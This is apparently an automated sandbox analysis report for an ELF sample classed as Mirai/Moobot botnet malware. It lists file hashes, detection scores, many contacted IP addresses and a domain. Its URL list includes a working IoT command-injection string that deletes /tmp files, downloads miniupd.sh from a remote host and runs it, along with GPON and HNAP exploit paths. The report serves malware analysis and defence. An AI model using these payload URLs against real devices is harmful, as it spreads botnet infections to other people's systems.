top title background image
flash

naZZ0BK2hf.elf

Status: finished
Submission Time: 2023-01-08 16:00:18 +01:00
Malicious
Spreader
Trojan
Mirai, Moobot

Comments

Tags

  • 32
  • elf
  • gafgyt
  • Mirai
  • renesas

Details

  • Analysis ID:
    780221
  • API (Web) ID:
    1147476
  • Analysis Started:
    2023-01-08 16:20:21 +01:00
  • Analysis Finished:
    2023-01-08 16:30:21 +01:00
  • MD5:
    aa92ed2c0b4b1be1e681ba5984f875da
  • SHA1:
    a613f411b19bbe343140db35c75164d911513484
  • SHA256:
    4028e729748c3aac1611a6117fcf2c16ef56bd0e86b178d541d55e5810a755ac
  • Technologies:

Joe Sandbox

Engine Download Report Detection Info
malicious
Score: 100
System: Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)

Third Party Analysis Engines

malicious
Score: 35/61
malicious
Score: 19/41
malicious

IPs

IP Country Detection
157.186.91.131
Russian Federation
41.35.35.153
Egypt
185.37.82.255
Italy
Click to see the 97 hidden entries
86.75.172.132
France
157.157.170.190
Iceland
156.18.88.96
France
41.152.180.75
Egypt
124.39.195.214
Japan
44.49.67.235
United States
197.129.195.147
Morocco
121.147.255.10
Korea Republic of
140.61.120.131
United States
112.205.14.241
Philippines
157.106.185.128
Japan
157.249.189.178
Norway
175.44.166.81
China
157.105.38.159
Japan
41.137.15.155
Morocco
185.70.22.11
Germany
197.152.252.83
Tanzania United Republic of
157.184.0.147
United States
41.240.169.12
Sudan
157.49.96.59
India
157.215.215.68
United States
41.213.192.124
Reunion
158.66.199.189
Poland
32.31.52.92
United States
197.252.128.145
Sudan
12.70.84.11
United States
52.83.112.185
China
157.74.76.54
Japan
197.179.230.76
Kenya
176.67.118.130
Palestinian Territory Occupied
161.249.2.166
United States
197.96.124.53
South Africa
197.225.3.144
Mauritius
163.186.192.183
United States
149.212.83.53
Denmark
105.206.121.136
Egypt
88.81.208.162
Russian Federation
113.119.248.152
China
82.196.70.81
Russian Federation
197.2.168.181
Tunisia
73.55.223.137
United States
197.219.214.81
Mozambique
41.42.142.173
Egypt
44.160.206.65
United States
157.125.160.248
Sweden
157.145.19.97
United States
90.162.2.0
Spain
197.17.114.194
Tunisia
157.244.13.183
Canada
80.126.137.83
Netherlands
41.43.14.4
Egypt
197.132.217.138
Egypt
51.142.50.153
United Kingdom
41.169.25.62
South Africa
157.112.148.22
Japan
181.113.101.191
Ecuador
197.70.186.111
South Africa
182.61.224.145
China
88.154.50.230
Ukraine
146.42.135.91
United States
153.76.169.83
United States
67.150.235.73
United States
167.191.89.12
United States
159.125.210.122
United States
189.0.210.110
Brazil
187.145.90.107
Mexico
48.217.6.109
United States
197.109.134.84
South Africa
41.226.180.5
Tunisia
197.190.103.228
Ghana
197.73.179.135
South Africa
166.145.186.112
United States
73.43.185.152
United States
207.55.157.80
United States
19.105.218.153
United States
54.104.26.172
United States
48.222.141.126
United States
197.190.60.125
Ghana
153.33.72.251
United States
41.214.134.114
Morocco
41.186.122.35
Rwanda
41.60.37.80
Mauritius
199.165.77.158
United States
157.102.254.147
Japan
157.249.142.143
Norway
92.215.252.193
Germany
41.137.15.188
Morocco
41.215.35.76
Kenya
132.171.126.87
Finland
41.240.121.79
Sudan
41.117.228.140
South Africa
41.122.162.154
South Africa
76.28.84.15
United States
196.196.174.217
Seychelles
197.214.107.229
Nigeria
143.177.38.53
Netherlands
168.81.166.141
Seychelles

Domains

Name IP Detection
www.toliatypiza.ru
89.208.107.26

URLs

Name Detection
http://89.208.107.26/miniupd.sh
http://127.0.0.1:80/GponForm/diag_Form?images/
http://89.208.107.26/miniupd.sh;
Click to see the 8 hidden entries
http://41.191.81.96:80/shell?rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/jaws;sh+jaws
http://89.208.107.26/diag00/log21.mips
http://89.208.107.26/miniupd.sh;chmod$
http://89.208.107.26/miniupd.sh;sh
http://89.208.107.26/miniupd.sh;$
http://schemas.xmlsoap.org/soap/encoding/
http://purenetworks.com/HNAP1/
http://schemas.xmlsoap.org/soap/envelope/